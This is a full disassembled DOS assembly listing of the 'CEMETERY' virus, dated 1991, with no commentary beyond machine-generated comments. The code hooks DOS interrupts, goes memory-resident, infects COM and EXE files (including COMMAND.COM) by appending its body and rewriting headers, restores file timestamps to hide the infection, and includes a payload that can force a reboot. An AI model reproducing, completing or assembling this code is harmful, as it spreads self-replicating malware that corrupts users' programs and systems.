PAGE 60,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ CEMETERY ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 4-Mar-91 ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 4Ch ; (0000:004C=31h) data_2e equ 4Eh ; (0000:004E=70h) data_3e equ 70h ; (0000:0070=0FF33h) data_4e equ 72h ; (0000:0072=0F000h) data_5e equ 84h ; (0000:0084=0E3h) data_6e equ 86h ; (0000:0086=161Ah) data_7e equ 90h ; (0000:0090=8Eh) data_8e equ 92h ; (0000:0092=1498h) data_9e equ 102h ; (0000:0102=0CC00h) data_10e equ 106h ; (0000:0106=326h) data_11e equ 450h ; (0000:0450=184Fh) data_12e equ 46Ch ; (0000:046C=0C4BCh) data_13e equ 46Eh ; (0000:046E=10h) data_14e equ 47Bh ; (0000:047B=0) data_15e equ 0 ; (0326:0000=6A7h) data_16e equ 2 ; (0326:0002=70h) data_17e equ 0 ; (0687:0000=81h) data_18e equ 1 ; (0688:0001=0FF17h) data_19e equ 2 ; (06E3:0002=2342h) data_20e equ 6 ; (06E3:0006=2344h) data_46e equ 0FBF0h ; (701E:FBF0=0) data_47e equ 0FBF2h ; (701E:FBF2=0) data_48e equ 0FC10h ; (701E:FC10=0) data_49e equ 0FC12h ; (701E:FC12=0) data_50e equ 0FC14h ; (701E:FC14=0) data_51e equ 0FC1Eh ; (701E:FC1E=0) data_52e equ 0FC20h ; (701E:FC20=0) data_53e equ 0FC26h ; (701E:FC26=0) data_54e equ 0FC28h ; (701E:FC28=0) code_seg_a segment assume cs:code_seg_a, ds:code_seg_a org 100h cemetery proc far start: data_21 dw 0CE9h data_22 dw 0C304h db 23 dup (0C3h) db 'CEMETERY' data_24 dw 0C3C3h data_25 dw 0C3C3h data_26 dw 0 data_27 dw 0 data_28 dw 0 data_29 dw 0 data_30 dw 0 data_31 dd 00000h data_32 dw 0 data_33 dw 0 data_34 dd 00000h data_35 dw 0 data_36 dw 0 db 68h, 0E8h, 55h, 3, 90h, 3Dh db 4Dh, 4Bh, 75h, 9, 55h, 8Bh db 0ECh, 83h, 66h, 6, 0FEh, 5Dh db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh db 0, 6Ch, 75h, 5, 80h, 0FBh db 0, 74h, 3 loc_1: jmp loc_13 loc_2: push es push ds push di push si push bp push dx push cx push bx push ax call sub_6 call sub_7 cmp ax,6C00h jne loc_3 ; Jump if not equal mov dx,si loc_3: mov cx,80h mov si,dx locloop_4: inc si mov al,[si] or al,al ; Zero ? loopnz locloop_4 ; Loop if zf=0, cx>0 sub si,2 cmp word ptr [si],4D4Fh je loc_7 ; Jump if equal cmp word ptr [si],4558h je loc_6 ; Jump if equal loc_5: jmp short loc_12 db 90h loc_6: cmp word ptr [si-2],452Eh nop jz loc_8 ; Jump if zero jmp short loc_5 loc_7: cmp word ptr [si-2],432Eh jne loc_5 ; Jump if not equal cmp word ptr [si-4],444Eh jne loc_5 ; Jump if not equal loc_8: mov ax,3D02h call sub_5 jc loc_12 ; Jump if carry Set mov bx,ax mov ax,5700h call sub_5 mov cs:data_27,cx ; (701E:0129=0) mov cs:data_28,dx ; (701E:012B=0) mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 push cs pop ds mov dx,103h mov si,dx mov cx,18h mov ah,3Fh ; '?' call sub_5 jc loc_10 ; Jump if carry Set cmp word ptr [si],5A4Dh jne loc_9 ; Jump if not equal call sub_1 jmp short loc_10 loc_9: call sub_4 loc_10: jc loc_11 ; Jump if carry Set mov ax,5701h mov cx,cs:data_27 ; (701E:0129=0) mov dx,cs:data_28 ; (701E:012B=0) call sub_5 loc_11: mov ah,3Eh ; '>' call sub_5 loc_12: call sub_7 pop ax pop bx pop cx pop dx pop bp pop si pop di pop ds pop es loc_13: jmp cs:data_31 ; (701E:0131=0) cemetery endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov cx,[si+16h] add cx,[si+8] mov ax,10h mul cx ; dx:ax = reg * ax add ax,[si+14h] adc dx,0 push dx push ax mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 cmp dx,0 jne loc_14 ; Jump if not equal cmp ax,589h jae loc_14 ; Jump if above or = pop ax pop dx stc ; Set carry flag ret loc_14: mov di,ax mov bp,dx pop cx sub ax,cx pop cx sbb dx,cx cmp word ptr [si+0Ch],0 je loc_ret_17 ; Jump if equal cmp dx,0 jne loc_15 ; Jump if not equal cmp ax,589h jne loc_15 ; Jump if not equal stc ; Set carry flag ret loc_15: mov dx,bp mov ax,di push dx push ax add ax,589h adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg les di,dword ptr [si+2] ; Load 32 bit ptr mov cs:data_29,di ; (701E:012D=0) mov cs:data_30,es ; (701E:012F=0) mov [si+2],dx cmp dx,0 je loc_16 ; Jump if equal inc ax loc_16: mov [si+4],ax pop ax pop dx call sub_2 sub ax,[si+8] les di,dword ptr [si+14h] ; Load 32 bit ptr mov data_24,di ; (701E:0123=0C3C3h) mov data_25,es ; (701E:0125=0C3C3h) mov [si+14h],dx mov [si+16h],ax mov word ptr data_26,ax ; (701E:0127=0) mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 call sub_3 jc loc_ret_17 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 mov ah,40h ; '@' mov dx,si mov cx,18h call sub_5 loc_ret_17: ret sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near mov cx,4 mov di,ax and di,0Fh locloop_18: shr dx,1 ; Shift w/zeros fill rcr ax,1 ; Rotate thru carry loop locloop_18 ; Loop if cx > 0 mov dx,di ret sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near mov ah,40h ; '@' mov cx,589h mov dx,100h call sub_6 jmp short loc_22 db 90h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_4: mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 cmp ax,589h jb loc_ret_21 ; Jump if below cmp ax,0FA00h jae loc_ret_21 ; Jump if above or = push ax cmp byte ptr [si],0E9h jne loc_19 ; Jump if not equal sub ax,58Ch cmp ax,[si+1] jne loc_19 ; Jump if not equal pop ax stc ; Set carry flag ret loc_19: call sub_3 jnc loc_20 ; Jump if carry=0 pop ax ret loc_20: mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 pop ax sub ax,3 mov dx,123h mov si,dx mov byte ptr cs:[si],0E9h mov cs:[si+1],ax mov ah,40h ; '@' mov cx,3 call sub_5 loc_ret_21: ret sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near loc_22: pushf ; Push flags call cs:data_31 ; (701E:0131=0) ret sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr mov cs:data_32,ax ; (701E:0135=0) mov cs:data_33,es ; (701E:0137=0) mov ax,3ABh mov ds:data_7e,ax ; (0000:0090=18Eh) mov ds:data_8e,cs ; (0000:0092=1498h) les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr mov cs:data_35,ax ; (701E:013D=0) mov cs:data_36,es ; (701E:013F=0) les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=831h) mov ds:data_2e,es ; (0000:004E=70h) sti ; Enable interrupts pop es pop ds pop ax ret sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr mov ds:data_7e,ax ; (0000:0090=18Eh) mov ds:data_8e,es ; (0000:0092=1498h) les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=831h) mov ds:data_2e,es ; (0000:004E=70h) sti ; Enable interrupts pop es pop ds pop ax ret sub_7 endp db 0B0h, 3, 0CFh, 50h, 53h, 51h db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h db 0F7h, 3, 0A3h, 50h, 4, 2Eh db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h db 9, 0B9h, 1, 0, 0CDh, 10h db 0E8h, 34h, 0, 0E8h, 0B7h, 0 db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h db 4, 0B3h, 7, 0B8h, 7, 9 db 0B9h, 1, 0, 0CDh, 10h, 2Eh db 0A1h, 0FEh, 3, 0A3h, 50h, 4 db 7, 1Fh db ']_^ZY[X.' db 0FFh, 2Eh, 0FAh, 3 data_37 dw 0 data_38 db 10h data_39 db 10h data_40 db 0 data_41 dw 0 data_42 dw 0 db 0, 0, 2Eh, 0A1h, 0F7h, 3 db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh db 0F6h, 6, 0F9h, 3, 1, 74h db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh db 80h, 36h, 0F9h, 3, 1, 0EBh db 0Ah loc_23: cmp al,0 jg loc_24 ; Jump if > xor byte ptr cs:data_40,1 ; (701E:03F9=0) loc_24: test byte ptr cs:data_40,2 ; (701E:03F9=0) jz loc_25 ; Jump if zero cmp ah,18h jb loc_26 ; Jump if below xor byte ptr cs:data_40,2 ; (701E:03F9=0) jmp short loc_26 loc_25: cmp ah,0 jg loc_26 ; Jump if > xor byte ptr cs:data_40,2 ; (701E:03F9=0) loc_26: cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' ' je loc_27 ; Jump if equal db 2Eh data_44 dw 3E80h db 0F8h, 3, 0, 74h, 6, 2Eh db 80h, 36h, 0F9h, 3, 2 loc_27: test byte ptr cs:data_40,1 ; (701E:03F9=0) jz loc_28 ; Jump if zero inc cs:data_38 ; (701E:03F7=10h) jmp short loc_29 loc_28: dec cs:data_38 ; (701E:03F7=10h) loc_29: test byte ptr cs:data_40,2 ; (701E:03F9=0) jz loc_30 ; Jump if zero inc cs:data_39 ; (701E:03F8=10h) jmp short loc_ret_31 loc_30: dec cs:data_39 ; (701E:03F8=10h) loc_ret_31: ret ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov ax,word ptr cs:data_38 ; (701E:03F7=1010h) mov ds:data_11e,ax ; (0000:0450=184Fh) mov bh,data_55 ; (0000:0462=0D400h) mov ah,8 int 10h ; Video display ah=functn 08h ; get char al & attrib ah @curs mov cs:data_37,ax ; (701E:03F5=0) ret sub_8 endp db 50h, 53h, 51h, 52h, 56h, 57h db 55h, 1Eh, 6, 33h, 0C0h, 50h db 1Fh, 81h, 3Eh, 70h, 0, 0AEh db 3, 74h, 35h, 0A1h, 6Ch, 4 db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0 db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh db 50h, 4, 0C4h, 6, 70h, 0 db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch db 6, 0FCh, 3, 0C7h, 6, 70h db 0, 0AEh, 3, 8Ch, 0Eh, 72h db 0, 0FBh loc_32: mov ah,2 int 14h ; RS-232 dx=com1, ah=func 02h ; get char al, ah=return status cmp al,31h ; '1' je loc_33 ; Jump if equal jnz loc_34 ; Jump if not zero loc_33: int 19h ; Bootstrap loader loc_34: pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax ret ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near mov dx,10h mul dx ; dx:ax = reg * ax ret sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near xor ax,ax ; Zero register xor bx,bx ; Zero register xor cx,cx ; Zero register xor dx,dx ; Zero register xor si,si ; Zero register xor di,di ; Zero register xor bp,bp ; Zero register ret sub_10 endp db 1Eh, 0E8h, 0, 0 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near mov ax,4B4Dh int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx jc loc_35 ; Jump if carry Set jmp loc_45 loc_35: pop si push si mov di,si xor ax,ax ; Zero register push ax pop ds les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr mov cs:data_53e[si],ax ; (701E:FC26=0) mov cs:data_54e[si],es ; (701E:FC28=0) les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr mov cs:data_51e[di],bx ; (701E:FC1E=0) mov cs:data_52e[di],es ; (701E:FC20=0) mov ax,ds:data_9e ; (0000:0102=0CC00h) cmp ax,0F000h jne loc_43 ; Jump if not equal mov dl,80h mov ax,ds:data_10e ; (0000:0106=326h) cmp ax,0F000h je loc_36 ; Jump if equal cmp ah,0C8h jb loc_43 ; Jump if below cmp ah,0F4h jae loc_43 ; Jump if above or = test al,7Fh jnz loc_43 ; Jump if not zero mov ds,ax cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h) jne loc_43 ; Jump if not equal mov dl,ds:data_16e ; (0326:0002=70h) loc_36: mov ds,ax xor dh,dh ; Zero register mov cl,9 shl dx,cl ; Shift w/zeros fill mov cx,dx xor si,si ; Zero register locloop_37: lodsw ; String [si] to ax cmp ax,0FA80h jne loc_38 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7380h je loc_39 ; Jump if equal jnz loc_40 ; Jump if not zero loc_38: cmp ax,0C2F6h jne loc_41 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7580h jne loc_40 ; Jump if not equal loc_39: inc si lodsw ; String [si] to ax cmp ax,40CDh je loc_42 ; Jump if equal sub si,3 loc_40: dec si dec si loc_41: dec si loop locloop_37 ; Loop if cx > 0 jmp short loc_43 loc_42: sub si,7 mov cs:data_53e[di],si ; (701E:FC26=0) mov cs:data_54e[di],ds ; (701E:FC28=0) loc_43: mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx mov es,bx mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov bx,0FFFFh mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 sub bx,5Ah nop jc loc_45 ; Jump if carry Set mov cx,es stc ; Set carry flag adc cx,bx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov bx,59h stc ; Set carry flag sbb es:data_19e,bx ; (06E3:0002=2342h) push es mov es,cx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov ax,es dec ax mov ds,ax mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h) call sub_9 mov bx,ax mov cx,dx pop ds mov ax,ds call sub_9 add ax,ds:data_20e ; (06E3:0006=2344h) adc dx,0 sub ax,bx sbb dx,cx jc loc_44 ; Jump if carry Set sub ds:data_20e,ax ; (06E3:0006=2344h) loc_44: mov si,di xor di,di ; Zero register push cs pop ds sub si,413h mov cx,589h inc cx rep movsb ; Rep while cx>0 Mov [si] to es:[di] mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx dec bx mov ds,bx mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z' mov dx,142h xor ax,ax ; Zero register push ax pop ds mov ax,es sub ax,10h mov es,ax cli ; Disable interrupts mov ds:data_5e,dx ; (0000:0084=6E3h) mov ds:data_6e,es ; (0000:0086=161Ah) sti ; Enable interrupts dec byte ptr ds:data_14e ; (0000:047B=0) loc_45: pop si cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0) jne loc_46 ; Jump if not equal pop ds mov ax,cs:data_50e[si] ; (701E:FC14=0) mov bx,cs:data_49e[si] ; (701E:FC12=0) push cs pop cx sub cx,ax add cx,bx push cx push word ptr cs:data_48e[si] ; (701E:FC10=0) push ds pop es call sub_10 ret ; Return far loc_46: pop ax mov ax,cs:data_46e[si] ; (701E:FBF0=0) mov cs:data_21,ax ; (701E:0100=0CE9h) mov ax,cs:data_47e[si] ; (701E:FBF2=0) mov cs:data_22,ax ; (701E:0102=0C304h) mov ax,100h push ax push cs pop ds push ds pop es call sub_10 ret sub_11 endp code_seg_a ends end start